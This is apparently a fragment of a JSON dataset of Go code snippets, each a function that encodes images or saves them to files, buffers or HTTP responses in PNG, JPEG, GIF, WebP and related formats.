&bytes.Buffer{}\\n\\terr := png.Encode(buf, newIMG)\\n\\tif err != nil {\\n\\t\\tExitErr(err)\\n\\t} else {\\n\\t\\terr = ioutil.WriteFile(path, buf.Bytes(), 0600)\\n\\t\\tif err != nil {\\n\\t\\t\\tExitErr(err)\\n\\t\\t}\\n\\t}\\n}\",\n \"func EncodeJpeg(w io.Writer, img Image) (int64, error) {\\n\\tslice, err := img.image().gdImageJpeg()\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\n\\treturn bytes.NewBuffer(slice).WriteTo(w)\\n}\",\n \"func EncodeNewImg(dstImagePath string, dstImg image.Image) {\\n\\tdstImgFile, CreateErr := os.Create(dstImagePath)\\n\\tErrorHandling(CreateErr)\\n\\tdefer dstImgFile.Close()\\n\\n\\tdstFormat := GetFileExtension(dstImagePath)\\n\\tswitch dstFormat {\\n\\tcase \\\".jpg\\\":\\n\\t\\tEncodeErr := jpeg.Encode(dstImgFile, dstImg, &jpeg.Options{Quality: 100})\\n\\t\\tErrorHandling(EncodeErr)\\n\\tcase \\\".gif\\\":\\n\\t\\tEncodeErr := gif.Encode(dstImgFile, dstImg, nil)\\n\\t\\tErrorHandling(EncodeErr)\\n\\tcase \\\".png\\\":\\n\\t\\tEncodeErr := png.Encode(dstImgFile, dstImg)\\n\\t\\tErrorHandling(EncodeErr)\\n\\t}\\n}\",\n \"func WriteFile(t *testing.T, file string, img image.Image) {\\n\\tfd, err := os.Create(file)\\n\\tif err != nil {\\n\\t\\tt.Log(err)\\n\\t\\tt.FailNow()\\n\\t}\\n\\tdefer fd.Close()\\n\\terr = enc.Encode(fd, img)\\n\\tif err != nil {\\n\\t\\tt.Log(err)\\n\\t\\tt.FailNow()\\n\\t}\\n}\",\n \"func NewPNGEncoder() Encoder {\\n\\treturn &pngEncoder{}\\n}\",\n \"func SavePNG(img image.Image, filename string) error {\\n\\tf, err := os.Create(filename)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer f.Close()\\n\\treturn png.Encode(f, img)\\n}\",\n \"func SaveImagePNG(img image.Image, path string) error {\\n\\tf, err := os.Create(path)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer f.Close()\\n\\tpng.Encode(f, img)\\n\\treturn nil\\n}\",\n \"func Encode(w io.Writer, m hdr.Image) error {\\n\\treturn EncodeWithOptions(w, m, Mode6)\\n}\",\n \"func (enc *JBIG2Encoder) EncodeImage(img image.Image) ([]byte, error) {\\n\\treturn enc.encodeImage(img)\\n}\",\n \"func save(img *image.RGBA, fileName string) {\\n\\tfileName = filepath.Join(os.TempDir(), fileName)\\n\\tlog.Println(\\\"Saving to \\\", fileName)\\n\\tfile, err := os.Create(fileName)\\n\\tif err != nil {\\n\\t\\tlog.Panic(err)\\n\\t}\\n\\tdefer file.Close()\\n\\tpng.Encode(file, img)\\n}\",\n \"func SavePNG(filename string, img image.Image) error {\\n\\toutput, err := os.Create(filename)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer output.Close()\\n\\tif err = png.Encode(output, img); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfmt.Println(\\\"Saved\\\", filename)\\n\\treturn nil\\n}\",\n \"func SaveNewImgToEncode(srcImagePath string, width int, height int) image.Image {\\n\\tsrcImgFile := OpenImgPath(srcImagePath)\\n\\tdefer srcImgFile.Close()\\n\\tsrcImg, _, DecodeErr := image.Decode(srcImgFile)\\n\\tErrorHandling(DecodeErr)\\n\\n\\tsrcRct := srcImg.Bounds()\\n\\tdstImg := image.NewRGBA(image.Rect(0, 0, width, height))\\n\\tdstRct := dstImg.Bounds()\\n\\tdraw.CatmullRom.Scale(dstImg, dstRct, srcImg, srcRct, draw.Over, nil)\\n\\n\\treturn dstImg\\n}\",\n \"func (ap *APNGModel) Encode() error {\\n\\tif len(ap.images) != len(ap.delays){\\n\\t\\treturn errors.New(\\\"Number of delays doesn't match number of images\\\")\\n\\t}\\n\\n\\tseqNb := 0\\n\\tfor index, img := range ap.images{\\n\\t\\tpngEnc := &png.Encoder{}\\n\\t\\t\\n\\t\\tpngEnc.CompressionLevel = png.BestCompression\\n\\n\\t\\tcurImgBuffer := new(bytes.Buffer)\\n\\n\\t\\tif err := pngEnc.Encode(curImgBuffer, img); err != nil{\\n\\t\\t\\tfmt.Println(err)\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tif curPngChunk, err := ap.getPNGChunk(curImgBuffer); err != nil{\\n\\t\\t\\treturn err\\n\\t\\t} else{\\n\\t\\t\\tif(index == 0){\\n\\t\\t\\t\\tap.writePNGHeader()\\n\\t\\t\\t\\tap.appendIHDR(curPngChunk)\\n\\t\\t\\t\\tap.appendacTL(img)\\n\\t\\t\\t\\tap.appendfcTL(&seqNb, img, ap.delays[index])\\n\\t\\t\\t\\tap.appendIDAT(curPngChunk)\\n\\t\\t\\t}else{\\n\\t\\t\\t\\tap.appendfcTL(&seqNb, img, ap.delays[index])\\n\\t\\t\\t\\tap.appendfDAT(&seqNb, curPngChunk)\\n\\t\\t\\t}\\t\\n\\t\\t}\\n\\t}\\n\\tap.writeIENDHeader()\\n\\n\\treturn nil\\n}\",\n \"func Save(filename string, img image.Image, format Format) error {\\n\\tfilename = strings.TrimSuffix(filename, filepath.Ext(filename))\\n\\n\\tswitch format {\\n\\tcase PNG:\\n\\t\\tfilename += \\\".png\\\"\\n\\tcase JPEG:\\n\\t\\tfilename += \\\".jpg\\\"\\n\\t}\\n\\n\\tf, err := os.Create(filename)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer f.Close()\\n\\n\\treturn Encode(f, img, format)\\n}\",\n \"func (j *julia) ToPng(path string) error {\\n\\tf, err := os.Create(path)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err := png.Encode(f, j.img); err != nil {\\n\\t\\tf.Close()\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := f.Close(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (s *StegImage) WriteNewImageToFile(imgPath string) (err error) {\\n\\tmyfile, _ := os.Create(imgPath)\\n\\tdefer myfile.Close()\\n\\n\\tenc := png.Encoder{CompressionLevel: png.BestCompression}\\n\\terr = enc.Encode(myfile, s.newImg)\\n\\tif err != nil {\\n\\t\\tlog.Error(err)\\n\\t}\\n\\n\\treturn err\\n}\",\n \"func SaveAsPNG(name string, img image.Image, compresLvl png.CompressionLevel) {\\n\\tl := new(Legofy)\\n\\tif name == \\\"\\\" {\\n\\t\\tname = l.getNewFileName()\\n\\t}\\n\\tf, err := os.Create(name + \\\".png\\\")\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\tdefer f.Close()\\n\\tvar Enc png.Encoder\\n\\tEnc.CompressionLevel = compresLvl\\n\\terr = Enc.Encode(f, img)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n}\",\n \"func (c *Client) SaveImage(ctx context.Context, image, format string, writer io.WriteCloser) error {\\n\\t// Parse the image name and tag.\\n\\tnamed, err := reference.ParseNormalizedNamed(image)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"parsing image name %q failed: %v\\\", image, err)\\n\\t}\\n\\t// Add the latest lag if they did not provide one.\\n\\tnamed = reference.TagNameOnly(named)\\n\\timage = named.String()\\n\\n\\t// Create the worker opts.\\n\\topt, err := c.createWorkerOpt(false)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"creating worker opt failed: %v\\\", err)\\n\\t}\\n\\n\\tif opt.ImageStore == nil {\\n\\t\\treturn errors.New(\\\"image store is nil\\\")\\n\\t}\\n\\n\\texportOpts := []archive.ExportOpt{\\n\\t\\tarchive.WithImage(opt.ImageStore, image),\\n\\t}\\n\\n\\tswitch format {\\n\\tcase \\\"docker\\\":\\n\\n\\tcase \\\"oci\\\":\\n\\t\\texportOpts = append(exportOpts, archive.WithSkipDockerManifest())\\n\\n\\tdefault:\\n\\t\\treturn fmt.Errorf(\\\"%q is not a valid format\\\", format)\\n\\t}\\n\\n\\tif err := archive.Export(ctx, opt.ContentStore, writer, exportOpts...); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"exporting image %s failed: %v\\\", image, err)\\n\\t}\\n\\n\\treturn writer.Close()\\n}\",\n \"func exportJPG(img image.Image, path string) {\\n\\tout, err := os.Create(path)\\n\\tdefer out.Close()\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\tjpeg.Encode(out, img, &jpeg.Options{Quality: 90})\\n}\",\n \"func (a *Atlas) SavePNG(filename string) error {\\n\\n\\t// Save that RGBA image to disk.\\n\\toutFile, err := os.Create(filename)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer outFile.Close()\\n\\n\\tb := bufio.NewWriter(outFile)\\n\\terr = png.Encode(b, a.Image)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\terr = b.Flush()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func WritePNG(w io.Writer, p Parameters) {\\n\\tloggingEnabled = p.Logging\\n\\timg := generateMandelbrot(p.Iterations, p)\\n\\tpng.Encode(w, img)\\n}\",\n \"func save(img *image.RGBA, filePath string) {\\n\\t// filePath = \\\"screenshots/\\\" + filePath\\n\\t// file, err := os.Create(filePath)\\n\\t// if err != nil {\\n\\t// \\tpanic(err)\\n\\t// }\\n\\t// defer file.Close()\\n\\t// png.Encode(file, img)\\n\\n\\tbuf := new(bytes.Buffer)\\n\\tpng.Encode(buf, img)\\n\\tbase64Byte := buf.Bytes()\\n\\timgBase64Str := base64.StdEncoding.EncodeToString(base64Byte)\\n\\tsendScreenShot(imgBase64Str)\\n\\n}\",\n \"func (e *encoder) encode(w compresserWriter) error {\\n\\td := e.m.Bounds().Size()\\n\\n\\tvar err error\\n\\tfor y := 0; y < d.Y; y++ {\\n\\t\\tfor x := 0; x < d.X; x++ {\\n\\t\\t\\tpixel := e.bytesAt(x, y)\\n\\t\\t\\t_, err = w.Write(pixel)\\n\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn w.Flush()\\n}\",\n \"func Encode(im image.Image, ext string) (io.Reader, error) {\\n\\treader, writer := io.Pipe()\\n\\n\\tformat, err := imaging.FormatFromExtension(ext)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tgo func() {\\n\\t\\terr := imaging.Encode(writer, im, format)\\n\\t\\tdefer writer.Close()\\n\\t\\tif err != nil {\\n\\t\\t\\tpanic(err)\\n\\t\\t}\\n\\t}()\\n\\n\\treturn reader, nil\\n}\",\n \"func (m *Image) WriteTo(w io.Writer) (int64, error) {\\n\\tn, err := w.Write(m.encodedPNG())\\n\\treturn int64(n), err\\n}\",\n \"func EncodeRGBA(w io.Writer, img image.Image, c Config) (err error) {\\n\\twebpConfig, err := initConfig(c)\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\tpic := C.malloc_WebPPicture()\\n\\tif pic == nil {\\n\\t\\treturn errors.New(\\\"Could not allocate webp picture\\\")\\n\\t}\\n\\tdefer C.free_WebPPicture(pic)\\n\\n\\tmakeDestinationManager(w, pic)\\n\\tdefer releaseDestinationManager(pic)\\n\\n\\tif C.WebPPictureInit(pic) == 0 {\\n\\t\\treturn errors.New(\\\"Could not initialize webp picture\\\")\\n\\t}\\n\\tdefer C.WebPPictureFree(pic)\\n\\n\\tpic.use_argb = 1\\n\\n\\tpic.width = C.int(img.Bounds().Dx())\\n\\tpic.height = C.int(img.Bounds().Dy())\\n\\n\\tpic.writer = C.WebPWriterFunction(C.writeWebP)\\n\\n\\tswitch p := img.(type) {\\n\\tcase *rgb.Image:\\n\\t\\tC.WebPPictureImportRGB(pic, (*C.uint8_t)(&p.Pix[0]), C.int(p.Stride))\\n\\tcase *image.NRGBA:\\n\\t\\tC.WebPPictureImportRGBA(pic, (*C.uint8_t)(&p.Pix[0]), C.int(p.Stride))\\n\\tdefault:\\n\\t\\treturn errors.New(\\\"unsupported image type\\\")\\n\\t}\\n\\n\\tif C.WebPEncode(webpConfig, pic) == 0 {\\n\\t\\treturn fmt.Errorf(\\\"Encoding error: %d\\\", pic.error_code)\\n\\t}\\n\\n\\treturn\\n}\",\n \"func WriteImageToHTTP(w http.ResponseWriter, img image.Image) error {\\n\\tbuffer := new(bytes.Buffer)\\n\\tif err := png.Encode(buffer, img); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"image/png\\\")\\n\\tw.Header().Set(\\\"Content-Length\\\", strconv.Itoa(len(buffer.Bytes())))\\n\\tif _, err := w.Write(buffer.Bytes()); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (p PNGImage) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"keyFrameInterval\\\", p.KeyFrameInterval)\\n\\tpopulate(objectMap, \\\"label\\\", p.Label)\\n\\tpopulate(objectMap, \\\"layers\\\", p.Layers)\\n\\tobjectMap[\\\"@odata.type\\\"] = \\\"#Microsoft.Media.PngImage\\\"\\n\\tpopulate(objectMap, \\\"range\\\", p.Range)\\n\\tpopulate(objectMap, \\\"start\\\", p.Start)\\n\\tpopulate(objectMap, \\\"step\\\", p.Step)\\n\\tpopulate(objectMap, \\\"stretchMode\\\", p.StretchMode)\\n\\tpopulate(objectMap, \\\"syncMode\\\", p.SyncMode)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (g GIF) Write(textImage *image.RGBA, w io.Writer) error {\\n\\t// TODO: Break this out on each CPU\\n\\tfor _, img := range g.GIF.Image {\\n\\t\\tdraw.DrawMask(img, textImage.Bounds(), textImage, image.ZP, textImage, image.ZP, draw.Over)\\n\\t}\\n\\n\\treturn gif.EncodeAll(w, g.GIF)\\n}\",\n \"func encodePNG(path string, checkNeighbors bool) (string, error) {\\n\\treturn \\\"\\\", fmt.Errorf(\\\"PNG encoding not supported.\\\")\\n\\timg, err := gg.LoadPNG(path)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\tbounds := img.Bounds()\\n\\twidth := bounds.Max.X\\n\\theight := bounds.Max.Y\\n\\tcoords := make(Coords, 0)\\n\\tfor x := 0; x < width; x += 1 {\\n\\t\\tfor y := 0; y < height; y += 1 {\\n\\t\\t\\tif pixelIsBlack(img, x, y) {\\n\\t\\t\\t\\t// Check if there exists a pixel a distance of radius \\n\\t\\t\\t\\t// in all four cardinal directions (must be a source point)\\n\\t\\t\\t\\tif checkNeighbors {\\n\\t\\t\\t\\t\\tn := pixelIsBlack(img, x, int(math.Max(float64(y) - 4, 0)))\\n\\t\\t\\t\\t\\ts := pixelIsBlack(img, x, int(math.Min(float64(y) + 4, float64(height))))\\n\\t\\t\\t\\t\\te := pixelIsBlack(img, int(math.Min(float64(x) + 4, float64(width))), y)\\n\\t\\t\\t\\t\\tw := pixelIsBlack(img, int(math.Max(float64(x) - 4, 0)), y)\\n\\t\\t\\t\\t\\tif !(n && e && s && w) {\\n\\t\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tcx := math.Round(scale(x, width, HRM_MAX))\\n\\t\\t\\t\\tcy := math.Round(scale(y, height, HRM_MAX))\\n\\t\\t\\t\\tcoords = append(coords, [2]float64{cx, cy})\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn encodeComment(coords)\\n}\",\n \"func (r *Renderer) Save(fileName string) {\\n\\tfile, err := os.Create(fileName)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\tdefer file.Close()\\n\\tpng.Encode(file, flipper.FlipV(r.img))\\n}\",\n \"func (tg *TurtleGraphics) SavePNG(filePath string) error {\\n\\tf, err := os.Create(filePath)\\n\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tdefer f.Close()\\n\\n\\tb := bufio.NewWriter(f)\\n\\n\\terr = png.Encode(b, tg.Image)\\n\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\terr = b.Flush()\\n\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func EncodeAll(w io.Writer, g *GIF) error\",\n \"func encode(in string, out string, width int, height int) {\\n\\n\\tbinary, err := ioutil.ReadFile(in)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\tencoder := encoder.NewEncoder(binary, width, height)\\n\\tencoder.Encode()\\n\\n\\tif err = encoder.Out(out); err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n}\",\n \"func Convert(w io.Writer, img image.Image, filename string) error {\\n\\n\\tf, err := imaging.FormatFromFilename(filename)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn imaging.Encode(w, img, f)\\n}\",\n \"func SaveImageToFile(images []image.Image, filenamePrefix string) error {\\n\\tfor index, img := range images {\\n\\t\\ttempImageFilename := fmt.Sprintf(\\\"%s-%06d.png\\\", filenamePrefix, index)\\n\\t\\toutputFile, err := os.Create(tempImageFilename)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tpng.Encode(outputFile, img)\\n\\t\\toutputFile.Close()\\n\\t}\\n\\treturn nil\\n}\",\n \"func WritePNG(content []byte) (string, error) {\\n\\tfilename := fmt.Sprint(uuid.New().String(), \\\".png\\\")\\n\\tfile, err := os.OpenFile(\\n\\t\\tfmt.Sprint(constants.TempDirectory, filename),\\n\\t\\tos.O_WRONLY|os.O_TRUNC|os.O_CREATE,\\n\\t\\tos.ModePerm,\\n\\t)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\tdefer file.Close()\\n\\n\\t_, err = file.Write(content)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn filename, nil\\n}\",\n \"func (s *Scraper) encodeJPEG(img image.Image) *bytes.Buffer {\\n\\to := &jpeg.Options{\\n\\t\\tQuality: int(s.config.ImageQuality),\\n\\t}\\n\\n\\toutBuf := &bytes.Buffer{}\\n\\tif err := jpeg.Encode(outBuf, img, o); err != nil {\\n\\t\\treturn nil\\n\\t}\\n\\treturn outBuf\\n}\",\n \"func CreatePng(filename string, f ComplexFunc, n int) (err error) {\\n\\t//create the file that will hold the image\\n\\tfile, err := os.Create(filename)\\n\\t//check for errors.\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\t//when evertyhing else in this method is finished - close file\\n\\tdefer file.Close()\\n\\t//make the return variable by encoding the file using the function f and size n\\n\\terr = png.Encode(file, Julia(f, n))\\n\\n\\treturn\\n}\",\n \"func Encode(data []byte, width, height int) (*image.NRGBA, error) {\\n\\t// 4 bytes can be stored in every pixel (NRGBA)\\n\\tmaxLength := width * height * 4\\n\\tif len(data) > maxLength {\\n\\t\\treturn nil, fmt.Errorf(\\\"data does not fit the image size\\\")\\n\\t}\\n\\timg := image.NewNRGBA(image.Rectangle{image.Point{0, 0}, image.Point{width, height}})\\n\\timg.Pix = data\\n\\tfor i := len(img.Pix); i < maxLength; i++ {\\n\\t\\timg.Pix = append(img.Pix, 0)\\n\\t}\\n\\treturn img, nil\\n}\",\n \"func (m *Mosaic) Save(path string) error {\\n\\tif m.out == nil {\\n\\t\\treturn fmt.Errorf(\\\"image not rendered\\\")\\n\\t}\\n\\tf, err := os.Create(path)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"cant save picture: \\\" + err.Error())\\n\\t}\\n\\tdefer f.Close()\\n\\n\\tif strings.HasSuffix(path, \\\".png\\\") {\\n\\t\\treturn png.Encode(f, m.out)\\n\\t}\\n\\treturn jpeg.Encode(f, m.out, nil)\\n}\",\n \"func RenderPNG(inputFile, outputFile, imageFile, shape, effect string, scale float64) {\\n\\tcolor.Yellow(\\\"Reading image file...\\\")\\n\\n\\timg, err := util.DecodeImage(imageFile)\\n\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\tcolor.Yellow(\\\"Reading input file...\\\")\\n\\tpoints, err := decodePoints(inputFile)\\n\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\tcolor.Yellow(\\\"Generating PNG...\\\")\\n\\tfilename := outputFile\\n\\n\\tif !strings.HasSuffix(filename, \\\".png\\\") {\\n\\t\\tfilename += \\\".png\\\"\\n\\t}\\n\\n\\tvar writePNG func(string, normgeom.NormPointGroup, image.Data, float64) error\\n\\tvar writeEffectPNG func(string, normgeom.NormPointGroup, image.Data, float64, bool) error\\n\\n\\tswitch shape {\\n\\tcase \\\"triangles\\\":\\n\\t\\twritePNG = triangles.WritePNG\\n\\t\\twriteEffectPNG = triangles.WriteEffectPNG\\n\\t\\tbreak\\n\\tcase \\\"polygons\\\":\\n\\t\\twritePNG = polygons.WritePNG\\n\\t\\twriteEffectPNG = polygons.WriteEffectPNG\\n\\t\\tbreak\\n\\tdefault:\\n\\t\\tcolor.Red(\\\"invalid shape type\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tswitch e := strings.ToLower(effect); e {\\n\\tcase \\\"none\\\":\\n\\t\\terr = writePNG(filename, points, img, scale)\\n\\tcase \\\"gradient\\\":\\n\\t\\terr = writeEffectPNG(filename, points, img, scale, true)\\n\\tcase \\\"split\\\":\\n\\t\\terr = writeEffectPNG(filename, points, img, scale, false)\\n\\tdefault:\\n\\t\\tcolor.Red(\\\"unknown effect\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t\\tcolor.Red(\\\"error generating PNG\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tcolor.Green(\\\"Successfully generated PNG at %s!\\\", filename)\\n}\",\n \"func (img *Image) WriteToFile(outputPath string) error {\\n\\tcimg := image.NewRGBA(img._Rect)\\n\\tdraw.Draw(cimg, img._Rect, img._Image, image.Point{}, draw.Over)\\n\\n\\tfor y := 0; y < img.Height; y++ {\\n\\t\\tfor x := 0; x < img.Width; x++ {\\n\\t\\t\\trowIndex, colIndex := y, x\\n\\t\\t\\tpixel := img.Pixels[rowIndex][colIndex]\\n\\t\\t\\tcimg.Set(x, y, color.RGBA{\\n\\t\\t\\t\\tuint8(pixel.R),\\n\\t\\t\\t\\tuint8(pixel.G),\\n\\t\\t\\t\\tuint8(pixel.B),\\n\\t\\t\\t\\tuint8(pixel.A),\\n\\t\\t\\t})\\n\\t\\t}\\n\\t}\\n\\n\\ts := strings.Split(outputPath, \\\".\\\")\\n\\timgType := s[len(s)-1]\\n\\n\\tswitch imgType {\\n\\tcase \\\"jpeg\\\", \\\"jpg\\\", \\\"png\\\":\\n\\t\\tfd, err := os.Create(outputPath)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\tswitch imgType {\\n\\t\\tcase \\\"jpeg\\\", \\\"jpg\\\":\\n\\t\\t\\tjpeg.Encode(fd, cimg, nil)\\n\\t\\tcase \\\"png\\\":\\n\\t\\t\\tpng.Encode(fd, cimg)\\n\\t\\t}\\n\\tdefault:\\n\\t\\treturn errors.New(\\\"unknown image type\\\")\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (f *Framebuffer) PNG() (string, error) {\\n\\tif glog.V(3) {\\n\\t\\tglog.Info(venuelib.FnName())\\n\\t}\\n\\tvar buf bytes.Buffer\\n\\terr := png.Encode(&buf, f.fb)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn base64.StdEncoding.EncodeToString(buf.Bytes()), nil\\n}\",\n \"func SavePNGRepresentations(r io.Reader, options []Options) error {\\n\\n\\tif r == nil {\\n\\t\\treturn errors.New(\\\"Nil reader received in SaveJpegRepresentation\\\")\\n\\t}\\n\\n\\t// Read the image data, if we have a jpeg, convert to png?\\n\\toriginal, _, err := image.Decode(r)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// For each option, save a file\\n\\tfor _, o := range options {\\n\\n\\t\\tfmt.Printf(\\\"Saving image file - %v\\\\n\\\", o)\\n\\n\\t\\t// Resize this image given the params - this is always in proportion, NEVER stretched\\n\\t\\t// If Square is true we crop to a square\\n\\t\\tresized, err := ResizeImage(original, o.MaxWidth, o.MaxHeight, false)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\t// Write out to the desired file path\\n\\t\\tw, err := os.Create(o.Path)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tdefer w.Close()\\n\\t\\terr = png.Encode(w, resized)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t}\\n\\n\\treturn nil\\n\\n}\",\n \"func EncodeAll(w io.Writer, m gif.GIF) error {\\n\\n\\tif len(m.Image) < 1 {\\n\\t\\treturn errors.New(\\\"creating a gif with zero images isn't implemented\\\")\\n\\t}\\n\\n\\t// Determine a logical size that contains all images.\\n\\tvar sizeX, sizeY int\\n\\tfor _, img := range m.Image {\\n\\t\\tif img.Rect.Max.X > sizeX {\\n\\t\\t\\tsizeX = img.Rect.Max.X\\n\\t\\t}\\n\\t\\tif img.Rect.Max.Y > sizeY {\\n\\t\\t\\tsizeY = img.Rect.Max.Y\\n\\t\\t}\\n\\t}\\n\\n\\tif sizeX >= (1<<16) || sizeY >= (1<<16) {\\n\\t\\treturn fmt.Errorf(\\\"logical size too large: (%v,%v)\\\", sizeX, sizeY)\\n\\t}\\n\\n\\t// Arbitrarily make the first image's palette global.\\n\\tglobalPalette, colorBits, err := encodePalette(w, m.Image[0].Palette)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// header\\n\\tif err := writeData(w,\\n\\t\\t[]byte(\\\"GIF89a\\\"),\\n\\t\\tuint16(sizeX), uint16(sizeY),\\n\\t\\tbyte(0xF0|colorBits-1),\\n\\t\\tbyte(0), byte(0),\\n\\t\\tglobalPalette,\\n\\t); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// only write loop count for animations\\n\\tif len(m.Image) > 1 {\\n\\t\\tif err := writeData(w,\\n\\t\\t\\t[]byte{0x21, 0xff, 0x0b},\\n\\t\\t\\t[]byte(\\\"NETSCAPE2.0\\\"),\\n\\t\\t\\t[]byte{3, 1},\\n\\t\\t\\tuint16(m.LoopCount),\\n\\t\\t\\tbyte(0),\\n\\t\\t); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tfor i, img := range m.Image {\\n\\t\\t// write delay block\\n\\t\\tif i < len(m.Delay) && m.Delay[i] != 0 {\\n\\t\\t\\terr = writeData(w,\\n\\t\\t\\t\\t[]byte{0x21, 0xf9, 4, 0},\\n\\t\\t\\t\\tuint16(m.Delay[i]),\\n\\t\\t\\t\\t[]byte{0, 0},\\n\\t\\t\\t)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tlocalPalette, _, err := encodePalette(w, img.Palette)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\tif !bytes.Equal(globalPalette, localPalette) {\\n\\t\\t\\treturn errors.New(\\\"different palettes not implemented\\\")\\n\\t\\t}\\n\\n\\t\\tif err := encodeImageBlock(w, img); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\t// add trailer\\n\\t_, err = w.Write([]byte{byte(0x3b)})\\n\\treturn err\\n}\",\n \"func WriteImageToPath(img image.Image, path string) {\\n\\tf, err := os.Create(path + \\\".jpg\\\")\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"%s. Current dir: %s\\\", err, os.Args[0])\\n\\t}\\n\\tdefer f.Close()\\n\\terr = jpeg.Encode(f, img, nil)\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"Write err: %s. Current dir: %s\\\", err, os.Args[0])\\n\\t}\\n}\",\n \"func WriteCoinImg(slug string, i interface{}) bool {\\n\\tic := mod.Cache{Data: i}\\n\\treturn DB.Write(cfg.Web+\\\"/data/\\\"+slug, \\\"logo\\\", ic) == nil\\n}\",\n \"func (im *imageContrller) SerializeImage(img *image.RGBA) []color.RGBA {\\n\\tdata := make([]color.RGBA, 0)\\n\\n\\tif img != nil {\\n\\t\\tfor i := 0; i < img.Bounds().Size().X; i++ {\\n\\t\\t\\tfor j := 0; j < img.Bounds().Size().Y; j++ {\\n\\n\\t\\t\\t\\t// extract point data\\n\\t\\t\\t\\trgba := img.At(i, j)\\n\\n\\t\\t\\t\\t// each channel data\\n\\t\\t\\t\\tr, g, b, a := rgba.RGBA()\\n\\n\\t\\t\\t\\t// create raw data\\n\\t\\t\\t\\trawdata := color.RGBA{\\n\\t\\t\\t\\t\\tR: uint8(r),\\n\\t\\t\\t\\t\\tG: uint8(g),\\n\\t\\t\\t\\t\\tB: uint8(b),\\n\\t\\t\\t\\t\\tA: uint8(a),\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// stack data\\n\\t\\t\\t\\tdata = append(data, rawdata)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn data\\n}\",\n \"func (c *Camera) Save(w io.Writer) error {\\n\\tif c.output == nil {\\n\\t\\treturn fmt.Errorf(\\\"image must be rendered before saving 